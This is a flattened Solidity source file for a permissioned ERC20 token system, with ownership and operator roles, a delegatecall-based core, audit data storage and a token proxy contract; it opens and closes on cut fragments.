*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, "OW01");
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0), "OW02");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: contracts/operable/OperableStorage.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title OperableStorage
* @dev The Operable contract enable the restrictions of operations to a set of operators
*
* @author Cyril Lapinte - <[email protected]>
*
* Error messages
*/
contract OperableStorage is Ownable, Storage {
// Hardcoded role granting all - non sysop - privileges
bytes32 constant internal ALL_PRIVILEGES = bytes32("AllPrivileges");
address constant internal ALL_PROXIES = address(0x416c6c50726f78696573); // "AllProxies"
struct RoleData {
mapping(bytes4 => bool) privileges;
}
struct OperatorData {
bytes32 coreRole;
mapping(address => bytes32) proxyRoles;
}
// Mapping address => role
// Mapping role => bytes4 => bool
mapping (address => OperatorData) internal operators;
mapping (bytes32 => RoleData) internal roles;
/**
* @dev core role
* @param _address operator address
*/
function coreRole(address _address) public view returns (bytes32) {
return operators[_address].coreRole;
}
/**
* @dev proxy role
* @param _address operator address
*/
function proxyRole(address _proxy, address _address)
public view returns (bytes32)
{
return operators[_address].proxyRoles[_proxy];
}
/**
* @dev has role privilege
* @dev low level access to role privilege
* @dev ignores ALL_PRIVILEGES role
*/
function rolePrivilege(bytes32 _role, bytes4 _privilege)
public view returns (bool)
{
return roles[_role].privileges[_privilege];
}
/**
* @dev roleHasPrivilege
*/
function roleHasPrivilege(bytes32 _role, bytes4 _privilege) public view returns (bool) {
return (_role == ALL_PRIVILEGES) || roles[_role].privileges[_privilege];
}
/**
* @dev hasCorePrivilege
* @param _address operator address
*/
function hasCorePrivilege(address _address, bytes4 _privilege) public view returns (bool) {
bytes32 role = operators[_address].coreRole;
return (role == ALL_PRIVILEGES) || roles[role].privileges[_privilege];
}
/**
* @dev hasProxyPrivilege
* @dev the default proxy role can be set with proxy address(0)
* @param _address operator address
*/
function hasProxyPrivilege(address _address, address _proxy, bytes4 _privilege) public view returns (bool) {
OperatorData storage data = operators[_address];
bytes32 role = (data.proxyRoles[_proxy] != bytes32(0)) ?
data.proxyRoles[_proxy] : data.proxyRoles[ALL_PROXIES];
return (role == ALL_PRIVILEGES) || roles[role].privileges[_privilege];
}
}
// File: contracts/util/convert/BytesConvert.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title BytesConvert
* @dev Convert bytes into different types
*
* @author Cyril Lapinte - <[email protected]>
*
* Error Messages:
* BC01: source must be a valid 32-bytes length
* BC02: source must not be greater than 32-bytes
**/
library BytesConvert {
/**
* @dev toUint256
*/
function toUint256(bytes memory _source) internal pure returns (uint256 result) {
require(_source.length == 32, "BC01");
// solhint-disable-next-line no-inline-assembly
assembly {
result := mload(add(_source, 0x20))
}
}
/**
* @dev toBytes32
*/
function toBytes32(bytes memory _source) internal pure returns (bytes32 result) {
require(_source.length <= 32, "BC02");
// solhint-disable-next-line no-inline-assembly
assembly {
result := mload(add(_source, 0x20))
}
}
}
// File: contracts/abstract/Core.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title Core
* @dev Solidity version 0.5.x prevents to mark as view
* @dev functions using delegate call.
*
* @author Cyril Lapinte - <[email protected]>
*
* Error messages
* CO01: Only Proxy may access the function
* CO02: The proxy has no delegates
* CO03: Delegatecall should be successfull
* CO04: Invalid delegateId
* CO05: Proxy must exist
**/
contract Core is Storage {
using BytesConvert for bytes;
modifier onlyProxy {
require(proxyDelegates[msg.sender] != address(0), "CO01");
_;
}
function delegateCall(address _proxy) internal returns (bool status)
{
address delegate = proxyDelegates[_proxy];
require(delegate != address(0), "CO02");
// solhint-disable-next-line avoid-low-level-calls
(status, ) = delegate.delegatecall(msg.data);
require(status, "CO03");
}
function delegateCallUint256(address _proxy)
internal returns (uint256)
{
return delegateCallBytes(_proxy).toUint256();
}
function delegateCallBytes(address _proxy)
internal returns (bytes memory result)
{
bool status;
address delegate = proxyDelegates[_proxy];
require(delegate != address(0), "CO04");
// solhint-disable-next-line avoid-low-level-calls
(status, result) = delegate.delegatecall(msg.data);
require(status, "CO03");
}
function defineProxy(
address _proxy,
uint256 _delegateId)
internal returns (bool)
{
require(_delegateId < delegates.length, "CO04");
address delegate = delegates[_delegateId];
require(_proxy != address(0), "CO05");
proxyDelegates[_proxy] = delegate;
return true;
}
function removeProxy(address _proxy)
internal returns (bool)
{
delete proxyDelegates[_proxy];
return true;
}
}
// File: contracts/operable/OperableCore.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title OperableCore
* @dev The Operable contract enable the restrictions of operations to a set of operators
*
* @author Cyril Lapinte - <[email protected]>
*
* Error messages
* OC01: Sender is not a system operator
* OC02: Sender is not a core operator
* OC03: Sender is not a proxy operator
* OC04: AllPrivileges is a reserved role
*/
contract OperableCore is Core, OperableStorage {
constructor() public {
operators[msg.sender].coreRole = ALL_PRIVILEGES;
operators[msg.sender].proxyRoles[ALL_PROXIES] = ALL_PRIVILEGES;
}
/**
* @dev onlySysOp modifier
* @dev for safety reason, core owner
* @dev can always define roles and assign or revoke operatos
*/
modifier onlySysOp() {
require(msg.sender == owner || hasCorePrivilege(msg.sender, msg.sig), "OC01");
_;
}
/**
* @dev onlyCoreOp modifier
*/
modifier onlyCoreOp() {
require(hasCorePrivilege(msg.sender, msg.sig), "OC02");
_;
}
/**
* @dev onlyProxyOp modifier
*/
modifier onlyProxyOp(address _proxy) {
require(hasProxyPrivilege(msg.sender, _proxy, msg.sig), "OC03");
_;
}
/**
* @dev defineRoles
* @param _role operator role
* @param _privileges as 4 bytes of the method
*/
function defineRole(bytes32 _role, bytes4[] memory _privileges)
public onlySysOp returns (bool)
{
require(_role != ALL_PRIVILEGES, "OC04");
delete roles[_role];
for (uint256 i=0; i < _privileges.length; i++) {
roles[_role].privileges[_privileges[i]] = true;
}
emit RoleDefined(_role);
return true;
}
/**
* @dev assignOperators
* @param _role operator role. May be a role not defined yet.
* @param _operators addresses
*/
function assignOperators(bytes32 _role, address[] memory _operators)
public onlySysOp returns (bool)
{
for (uint256 i=0; i < _operators.length; i++) {
operators[_operators[i]].coreRole = _role;
emit OperatorAssigned(_role, _operators[i]);
}
return true;
}
/**
* @dev assignProxyOperators
* @param _role operator role. May be a role not defined yet.
* @param _operators addresses
*/
function assignProxyOperators(
address _proxy, bytes32 _role, address[] memory _operators)
public onlySysOp returns (bool)
{
for (uint256 i=0; i < _operators.length; i++) {
operators[_operators[i]].proxyRoles[_proxy] = _role;
emit ProxyOperatorAssigned(_proxy, _role, _operators[i]);
}
return true;
}
/**
* @dev removeOperator
* @param _operators addresses
*/
function revokeOperators(address[] memory _operators)
public onlySysOp returns (bool)
{
for (uint256 i=0; i < _operators.length; i++) {
delete operators[_operators[i]];
emit OperatorRevoked(_operators[i]);
}
return true;
}
event RoleDefined(bytes32 role);
event OperatorAssigned(bytes32 role, address operator);
event ProxyOperatorAssigned(address proxy, bytes32 role, address operator);
event OperatorRevoked(address operator);
}
// File: contracts/abstract/Proxy.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title Proxy
*
* @author Cyril Lapinte - <[email protected]>
*
* Error messages
* PR01: Only accessible by core
**/
contract Proxy {
address public core;
/**
* @dev Throws if called by any account other than a proxy
*/
modifier onlyCore {
require(core == msg.sender, "PR01");
_;
}
constructor(address _core) public {
core = _core;
}
}
// File: contracts/operable/OperableProxy.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title OperableProxy
* @dev The OperableAs contract enable the restrictions of operations to a set of operators
* @dev It relies on another Operable contract and reuse the same list of operators
*
* @author Cyril Lapinte - <[email protected]>
*
* Error messages
* OP01: Message sender must be authorized
*/
contract OperableProxy is Proxy {
// solhint-disable-next-line no-empty-blocks
constructor(address _core) public Proxy(_core) { }
/**
* @dev rely on the core configuration for ownership
*/
function owner() public view returns (address) {
return OperableCore(core).owner();
}
/**
* @dev Throws if called by any account other than the operator
*/
modifier onlyOperator {
require(OperableCore(core).hasProxyPrivilege(
msg.sender, address(this), msg.sig), "OP01");
_;
}
}
// File: contracts/util/math/SafeMath.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/interface/IRule.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title IRule
* @dev IRule interface
* @author Cyril Lapinte - <[email protected]>
**/
interface IRule {
function isAddressValid(address _address) external view returns (bool);
function isTransferValid(address _from, address _to, uint256 _amount)
external view returns (bool);
}
// File: contracts/interface/IClaimable.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title IClaimable
* @dev IClaimable interface
* @author Cyril Lapinte - <[email protected]>
**/
contract IClaimable {
function hasClaimsSince(address _address, uint256 at)
external view returns (bool);
}
// File: contracts/interface/IUserRegistry.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title IUserRegistry
* @dev IUserRegistry interface
* @author Cyril Lapinte - <[email protected]>
**/
contract IUserRegistry {
event UserRegistered(uint256 indexed userId);
event AddressAttached(uint256 indexed userId, address address_);
event AddressDetached(uint256 indexed userId, address address_);
function registerManyUsersExternal(address[] calldata _addresses, uint256 _validUntilTime)
external returns (bool);
function registerManyUsersFullExternal(
address[] calldata _addresses,
uint256 _validUntilTime,
uint256[] calldata _values) external returns (bool);
function attachManyAddressesExternal(uint256[] calldata _userIds, address[] calldata _addresses)
external returns (bool);
function detachManyAddressesExternal(address[] calldata _addresses)
external returns (bool);
function suspendManyUsers(uint256[] calldata _userIds) external returns (bool);
function unsuspendManyUsersExternal(uint256[] calldata _userIds) external returns (bool);
function updateManyUsersExternal(
uint256[] calldata _userIds,
uint256 _validUntilTime,
bool _suspended) external returns (bool);
function updateManyUsersExtendedExternal(
uint256[] calldata _userIds,
uint256 _key, uint256 _value) external returns (bool);
function updateManyUsersAllExtendedExternal(
uint256[] calldata _userIds,
uint256[] calldata _values) external returns (bool);
function updateManyUsersFullExternal(
uint256[] calldata _userIds,
uint256 _validUntilTime,
bool _suspended,
uint256[] calldata _values) external returns (bool);
function name() public view returns (string memory);
function currency() public view returns (bytes32);
function userCount() public view returns (uint256);
function userId(address _address) public view returns (uint256);
function validUserId(address _address) public view returns (uint256);
function validUser(address _address, uint256[] memory _keys)
public view returns (uint256, uint256[] memory);
function validity(uint256 _userId) public view returns (uint256, bool);
function extendedKeys() public view returns (uint256[] memory);
function extended(uint256 _userId, uint256 _key)
public view returns (uint256);
function manyExtended(uint256 _userId, uint256[] memory _key)
public view returns (uint256[] memory);
function isAddressValid(address _address) public view returns (bool);
function isValid(uint256 _userId) public view returns (bool);
function defineExtendedKeys(uint256[] memory _extendedKeys) public returns (bool);
function registerUser(address _address, uint256 _validUntilTime)
public returns (bool);
function registerUserFull(
address _address,
uint256 _validUntilTime,
uint256[] memory _values) public returns (bool);
function attachAddress(uint256 _userId, address _address) public returns (bool);
function detachAddress(address _address) public returns (bool);
function detachSelf() public returns (bool);
function detachSelfAddress(address _address) public returns (bool);
function suspendUser(uint256 _userId) public returns (bool);
function unsuspendUser(uint256 _userId) public returns (bool);
function updateUser(uint256 _userId, uint256 _validUntilTime, bool _suspended)
public returns (bool);
function updateUserExtended(uint256 _userId, uint256 _key, uint256 _value)
public returns (bool);
function updateUserAllExtended(uint256 _userId, uint256[] memory _values)
public returns (bool);
function updateUserFull(
uint256 _userId,
uint256 _validUntilTime,
bool _suspended,
uint256[] memory _values) public returns (bool);
}
// File: contracts/interface/IRatesProvider.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title IRatesProvider
* @dev IRatesProvider interface
*
* @author Cyril Lapinte - <[email protected]>
*/
contract IRatesProvider {
function defineRatesExternal(uint256[] calldata _rates) external returns (bool);
function name() public view returns (string memory);
function rate(bytes32 _currency) public view returns (uint256);
function currencies() public view
returns (bytes32[] memory, uint256[] memory, uint256);
function rates() public view returns (uint256, uint256[] memory);
function convert(uint256 _amount, bytes32 _fromCurrency, bytes32 _toCurrency)
public view returns (uint256);
function defineCurrencies(
bytes32[] memory _currencies,
uint256[] memory _decimals,
uint256 _rateOffset) public returns (bool);
function defineRates(uint256[] memory _rates) public returns (bool);
event RateOffset(uint256 rateOffset);
event Currencies(bytes32[] currencies, uint256[] decimals);
event Rate(uint256 at, bytes32 indexed currency, uint256 rate);
}
// File: contracts/TokenStorage.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title Token storage
* @dev Token storage
* @author Cyril Lapinte - <[email protected]>
*/
contract TokenStorage is OperableStorage {
using SafeMath for uint256;
enum TransferCode {
UNKNOWN,
OK,
INVALID_SENDER,
NO_RECIPIENT,
INSUFFICIENT_TOKENS,
LOCKED,
FROZEN,
RULE,
LIMITED_RECEPTION
}
struct Proof {
uint256 amount;
uint64 startAt;
uint64 endAt;
}
struct AuditData {
uint64 createdAt;
uint64 lastTransactionAt;
uint64 lastEmissionAt;
uint64 lastReceptionAt;
uint256 cumulatedEmission;
uint256 cumulatedReception;
}
struct AuditStorage {
mapping (address => bool) selector;
AuditData sharedData;
mapping(uint256 => AuditData) userData;
mapping(address => AuditData) addressData;
}
struct Lock {
uint256 startAt;
uint256 endAt;
mapping(address => bool) exceptions;
}
struct TokenData {
string name;
string symbol;
uint256 decimals;
uint256 totalSupply;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
bool mintingFinished;
uint256 allTimeIssued; // potential overflow
uint256 allTimeRedeemed; // potential overflow
uint256 allTimeSeized; // potential overflow
mapping (address => Proof[]) proofs;
mapping (address => uint256) frozenUntils;
Lock lock;
IRule[] rules;
IClaimable[] claimables;
}
mapping (address => TokenData) internal tokens_;
mapping (address => mapping (uint256 => AuditStorage)) internal audits;
IUserRegistry internal userRegistry;
IRatesProvider internal ratesProvider;
bytes32 internal currency;
uint256[] internal userKeys;
string internal name_;
/**
* @dev currentTime()
*/
function currentTime() internal view returns (uint64) {
// solhint-disable-next-line not-rely-on-time
return uint64(now);
}
event OraclesDefined(
IUserRegistry userRegistry,
IRatesProvider ratesProvider,
bytes32 currency,
uint256[] userKeys);
event AuditSelectorDefined(
address indexed scope, uint256 scopeId, address[] addresses, bool[] values);
event Issue(address indexed token, uint256 amount);
event Redeem(address indexed token, uint256 amount);
event Mint(address indexed token, uint256 amount);
event MintFinished(address indexed token);
event ProofCreated(address indexed token, address indexed holder, uint256 proofId);
event RulesDefined(address indexed token, IRule[] rules);
event LockDefined(
address indexed token,
uint256 startAt,
uint256 endAt,
address[] exceptions
);
event Seize(address indexed token, address account, uint256 amount);
event Freeze(address address_, uint256 until);
event ClaimablesDefined(address indexed token, IClaimable[] claimables);
event TokenDefined(
address indexed token,
uint256 delegateId,
string name,
string symbol,
uint256 decimals);
event TokenRemoved(address indexed token);
}
// File: contracts/interface/ITokenCore.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title ITokenCore
*
* @author Cyril Lapinte - <[email protected]>
*
* Error messages
**/
contract ITokenCore {
function name() public view returns (string memory);
function oracles() public view returns
(IUserRegistry, IRatesProvider, bytes32, uint256[] memory);
function auditSelector(
address _scope,
uint256 _scopeId,
address[] memory _addresses)
public view returns (bool[] memory);
function auditShared(
address _scope,
uint256 _scopeId) public view returns (
uint64 createdAt,
uint64 lastTransactionAt,
uint64 lastEmissionAt,
uint64 lastReceptionAt,
uint256 cumulatedEmission,
uint256 cumulatedReception);
function auditUser(
address _scope,
uint256 _scopeId,
uint256 _userId) public view returns (
uint64 createdAt,
uint64 lastTransactionAt,
uint64 lastEmissionAt,
uint64 lastReceptionAt,
uint256 cumulatedEmission,
uint256 cumulatedReception);
function auditAddress(
address _scope,
uint256 _scopeId,
address _holder) public view returns (
uint64 createdAt,
uint64 lastTransactionAt,
uint64 lastEmissionAt,
uint64 lastReceptionAt,
uint256 cumulatedEmission,
uint256 cumulatedReception);
/*********** TOKEN DATA ***********/
function token(address _token) public view returns (
bool mintingFinished,
uint256 allTimeIssued,
uint256 allTimeRedeemed,
uint256 allTimeSeized,
uint256[2] memory lock,
uint256 freezedUntil,
IRule[] memory,
IClaimable[] memory);
function tokenProofs(address _token, address _holder, uint256 _proofId)
public view returns (uint256, uint64, uint64);
function canTransfer(address, address, uint256)
public returns (uint256);
/*********** TOKEN ADMIN ***********/
function issue(address, uint256)
public returns (bool);
function redeem(address, uint256)
public returns (bool);
function mint(address, address, uint256)
public returns (bool);
function finishMinting(address)
public returns (bool);
function mintAtOnce(address, address[] memory, uint256[] memory)
public returns (bool);
function seize(address _token, address, uint256)
public returns (bool);
function freezeManyAddresses(
address _token,
address[] memory _addresses,
uint256 _until) public returns (bool);
function createProof(address, address)
public returns (bool);
function defineLock(address, uint256, uint256, address[] memory)
public returns (bool);
function defineRules(address, IRule[] memory) public returns (bool);
function defineClaimables(address, IClaimable[] memory) public returns (bool);
/************ CORE ADMIN ************/
function defineToken(
address _token,
uint256 _delegateId,
string memory _name,
string memory _symbol,
uint256 _decimals) public returns (bool);
function removeToken(address _token) public returns (bool);
function defineOracles(
IUserRegistry _userRegistry,
IRatesProvider _ratesProvider,
uint256[] memory _userKeys) public returns (bool);
function defineAuditSelector(
address _scope,
uint256 _scopeId,
address[] memory _selectorAddresses,
bool[] memory _selectorValues) public returns (bool);
event OraclesDefined(
IUserRegistry userRegistry,
IRatesProvider ratesProvider,
bytes32 currency,
uint256[] userKeys);
event AuditSelectorDefined(
address indexed scope, uint256 scopeId, address[] addresses, bool[] values);
event Issue(address indexed token, uint256 amount);
event Redeem(address indexed token, uint256 amount);
event Mint(address indexed token, uint256 amount);
event MintFinished(address indexed token);
event ProofCreated(address indexed token, address holder, uint256 proofId);
event RulesDefined(address indexed token, IRule[] rules);
event LockDefined(
address indexed token,
uint256 startAt,
uint256 endAt,
address[] exceptions
);
event Seize(address indexed token, address account, uint256 amount);
event Freeze(address address_, uint256 until);
event ClaimablesDefined(address indexed token, IClaimable[] claimables);
event TokenDefined(
address indexed token,
uint256 delegateId,
string name,
string symbol,
uint256 decimals);
event TokenRemoved(address indexed token);
}
// File: contracts/TokenCore.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title TokenCore
*
* @author Cyril Lapinte - <[email protected]>
*
* Error messages
* TC01: Currency stored values must remain consistent
* TC02: The audit selector definition requires the same number of addresses and values
**/
contract TokenCore is ITokenCore, OperableCore, TokenStorage {
/**
* @dev constructor
*
* @dev It is desired for now that delegates
* @dev cannot be changed once the core has been deployed.
*/
constructor(string memory _name, address[] memory _delegates) public {
name_ = _name;
delegates = _delegates;
}
function name() public view returns (string memory) {
return name_;
}
function oracles() public view returns
(IUserRegistry, IRatesProvider, bytes32, uint256[] memory)
{
return (userRegistry, ratesProvider, currency, userKeys);
}
function auditSelector(
address _scope,
uint256 _scopeId,
address[] memory _addresses)
public view returns (bool[] memory)
{
AuditStorage storage auditStorage = audits[_scope][_scopeId];
bool[] memory selector = new bool[](_addresses.length);
for (uint256 i=0; i < _addresses.length; i++) {
selector[i] = auditStorage.selector[_addresses[i]];
}
return selector;
}
function auditShared(
address _scope,
uint256 _scopeId) public view returns (
uint64 createdAt,
uint64 lastTransactionAt,
uint64 lastEmissionAt,
uint64 lastReceptionAt,
uint256 cumulatedEmission,
uint256 cumulatedReception)
{
AuditData memory audit = audits[_scope][_scopeId].sharedData;
createdAt = audit.createdAt;
lastTransactionAt = audit.lastTransactionAt;
lastReceptionAt = audit.lastReceptionAt;
lastEmissionAt = audit.lastEmissionAt;
cumulatedReception = audit.cumulatedReception;
cumulatedEmission = audit.cumulatedEmission;
}
function auditUser(
address _scope,
uint256 _scopeId,
uint256 _userId) public view returns (
uint64 createdAt,
uint64 lastTransactionAt,
uint64 lastEmissionAt,
uint64 lastReceptionAt,
uint256 cumulatedEmission,
uint256 cumulatedReception)
{
AuditData memory audit = audits[_scope][_scopeId].userData[_userId];
createdAt = audit.createdAt;
lastTransactionAt = audit.lastTransactionAt;
lastReceptionAt = audit.lastReceptionAt;
lastEmissionAt = audit.lastEmissionAt;
cumulatedReception = audit.cumulatedReception;
cumulatedEmission = audit.cumulatedEmission;
}
function auditAddress(
address _scope,
uint256 _scopeId,
address _holder) public view returns (
uint64 createdAt,
uint64 lastTransactionAt,
uint64 lastEmissionAt,
uint64 lastReceptionAt,
uint256 cumulatedEmission,
uint256 cumulatedReception)
{
AuditData memory audit = audits[_scope][_scopeId].addressData[_holder];
createdAt = audit.createdAt;
lastTransactionAt = audit.lastTransactionAt;
lastReceptionAt = audit.lastReceptionAt;
lastEmissionAt = audit.lastEmissionAt;
cumulatedReception = audit.cumulatedReception;
cumulatedEmission = audit.cumulatedEmission;
}
/************** ERC20 **************/
function tokenName() public view returns (string memory) {
return tokens_[msg.sender].name;
}
function tokenSymbol() public view returns (string memory) {
return tokens_[msg.sender].symbol;
}
function tokenDecimals() public view returns (uint256) {
return tokens_[msg.sender].decimals;
}
function tokenTotalSupply() public view returns (uint256) {
return tokens_[msg.sender].totalSupply;
}
function tokenBalanceOf(address _owner) public view returns (uint256) {
return tokens_[msg.sender].balances[_owner];
}
function tokenAllowance(address _owner, address _spender)
public view returns (uint256)
{
return tokens_[msg.sender].allowed[_owner][_spender];
}
function transfer(address, address, uint256)
public onlyProxy returns (bool status)
{
return delegateCall(msg.sender);
}
function transferFrom(address, address, address, uint256)
public onlyProxy returns (bool status)
{
return delegateCall(msg.sender);
}
function approve(address, address, uint256)
public onlyProxy returns (bool status)
{
return delegateCall(msg.sender);
}
function increaseApproval(address, address, uint256)
public onlyProxy returns (bool status)
{
return delegateCall(msg.sender);
}
function decreaseApproval(address, address, uint256)
public onlyProxy returns (bool status)
{
return delegateCall(msg.sender);
}
function canTransfer(address, address, uint256)
public onlyProxy returns (uint256)
{
return delegateCallUint256(msg.sender);
}
/*********** TOKEN DATA ***********/
function token(address _token) public view returns (
bool mintingFinished,
uint256 allTimeIssued,
uint256 allTimeRedeemed,
uint256 allTimeSeized,
uint256[2] memory lock,
uint256 frozenUntil,
IRule[] memory rules,
IClaimable[] memory claimables) {
TokenData storage tokenData = tokens_[_token];
mintingFinished = tokenData.mintingFinished;
allTimeIssued = tokenData.allTimeIssued;
allTimeRedeemed = tokenData.allTimeRedeemed;
allTimeSeized = tokenData.allTimeSeized;
lock = [ tokenData.lock.startAt, tokenData.lock.endAt ];
frozenUntil = tokenData.frozenUntils[msg.sender];
rules = tokenData.rules;
claimables = tokenData.claimables;
}
function tokenProofs(address _token, address _holder, uint256 _proofId)
public view returns (uint256, uint64, uint64)
{
Proof[] storage proofs = tokens_[_token].proofs[_holder];
if (_proofId < proofs.length) {
Proof storage proof = proofs[_proofId];
return (proof.amount, proof.startAt, proof.endAt);
}
return (uint256(0), uint64(0), uint64(0));
}
/*********** TOKEN ADMIN ***********/
function issue(address _token, uint256)
public onlyProxyOp(_token) returns (bool)
{
return delegateCall(_token);
}
function redeem(address _token, uint256)
public onlyProxyOp(_token) returns (bool)
{
return delegateCall(_token);
}
function mint(address _token, address, uint256)
public onlyProxyOp(_token) returns (bool)
{
return delegateCall(_token);
}
function finishMinting(address _token)
public onlyProxyOp(_token) returns (bool)
{
return delegateCall(_token);
}
function mintAtOnce(address _token, address[] memory, uint256[] memory)
public onlyProxyOp(_token) returns (bool)
{
return delegateCall(_token);
}
function seize(address _token, address, uint256)
public onlyProxyOp(_token) returns (bool)
{
return delegateCall(_token);
}
function freezeManyAddresses(
address _token,
address[] memory,
uint256) public onlyProxyOp(_token) returns (bool)
{
return delegateCall(_token);
}
function createProof(address _token, address)
public returns (bool)
{
return delegateCall(_token);
}
function defineLock(address _token, uint256, uint256, address[] memory)
public onlyProxyOp(_token) returns (bool)
{
return delegateCall(_token);
}
function defineRules(address _token, IRule[] memory)
public onlyProxyOp(_token) returns (bool)
{
return delegateCall(_token);
}
function defineClaimables(address _token, IClaimable[] memory)
public onlyProxyOp(_token) returns (bool)
{
return delegateCall(_token);
}
/************ CORE ADMIN ************/
function defineToken(
address _token,
uint256 _delegateId,
string memory _name,
string memory _symbol,
uint256 _decimals)
public onlyCoreOp returns (bool)
{
defineProxy(_token, _delegateId);
TokenData storage tokenData = tokens_[_token];
tokenData.name = _name;
tokenData.symbol = _symbol;
tokenData.decimals = _decimals;
emit TokenDefined(_token, _delegateId, _name, _symbol, _decimals);
return true;
}
function removeToken(address _token)
public onlyCoreOp returns (bool)
{
removeProxy(_token);
delete tokens_[_token];
emit TokenRemoved(_token);
return true;
}
function defineOracles(
IUserRegistry _userRegistry,
IRatesProvider _ratesProvider,
uint256[] memory _userKeys)
public onlyCoreOp returns (bool)
{
if (currency != bytes32(0)) {
// Updating the core currency is not yet supported
require(_userRegistry.currency() == currency, "TC01");
} else {
currency = _userRegistry.currency();
}
userRegistry = _userRegistry;
ratesProvider = _ratesProvider;
userKeys = _userKeys;
emit OraclesDefined(userRegistry, ratesProvider, currency, userKeys);
return true;
}
function defineAuditSelector(
address _scope,
uint256 _scopeId,
address[] memory _selectorAddresses,
bool[] memory _selectorValues) public onlyCoreOp returns (bool)
{
require(_selectorAddresses.length == _selectorValues.length, "TC02");
AuditStorage storage auditStorage = audits[_scope][_scopeId];
for (uint256 i=0; i < _selectorAddresses.length; i++) {
auditStorage.selector[_selectorAddresses[i]] = _selectorValues[i];
}
emit AuditSelectorDefined(_scope, _scopeId, _selectorAddresses, _selectorValues);
return true;
}
}
// File: contracts/interface/IERC20.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title ERC20 interface
* @dev ERC20 interface
*/
contract IERC20 {
function name() public view returns (string memory);
function symbol() public view returns (string memory);
function decimals() public view returns (uint256);
function totalSupply() public view returns (uint256);
function balanceOf(address _owner) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function increaseApproval(address _spender, uint _addedValue)
public returns (bool);
function decreaseApproval(address _spender, uint _subtractedValue)
public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: contracts/TokenProxy.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title Token proxy
* @dev Token proxy default implementation
* @author Cyril Lapinte - <[email protected]>
*/
contract TokenProxy is IERC20, OperableProxy {
// solhint-disable-next-line no-empty-blocks
constructor(address _core) public OperableProxy(_core) { }
function name() public view returns (string memory) {
return TokenCore(core).tokenName();
}
function symbol() public view returns (string memory) {
return TokenCore(core).tokenSymbol();
}
function decimals() public view returns (uint256) {
return TokenCore(core).tokenDecimals();
}
function totalSupply() public view returns (uint256) {
return TokenCore(core).tokenTotalSupply();
}
function balanceOf(address _owner) public view returns (uint256) {
return TokenCore(core).tokenBalanceOf(_owner);
}
function allowance(address _owner, address _spender)
public view returns (uint256)
{
return TokenCore(core).tokenAllowance(_owner, _spender);
}
function transfer(address _to, uint256 _value) public returns (bool status)
{
return TokenCore(core).transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool status)
{
return TokenCore(core).transferFrom(msg.sender, _from, _to, _value);
}
function approve(address _spender, uint256 _value)
public returns (bool status)
{
return TokenCore(core).approve(msg.sender, _spender, _value);
}
function increaseApproval(address _spender, uint256 _addedValue)
public returns (bool status)
{
return TokenCore(core).increaseApproval(msg.sender, _spender, _addedValue);
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
public returns (bool status)
{
return TokenCore(core).decreaseApproval(msg.sender, _spender, _subtractedValue);
}
function canTransfer(address _from, address _to, uint256 _value)
public returns (uint256)
{
return TokenCore(core).canTransfer(_from, _to, _value);
}
function emitTransfer(address _from, address _to, uint256 _value)
public onlyCore returns (bool)
{
emit Transfer(_from, _to, _value);
return true;
}
function emitApproval(address _owner, address _spender, uint256 _value)
public onlyCore returns (bool)
{
emit Approval(_owner, _spender, _value);
return true;
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
|
DC1
|
/**
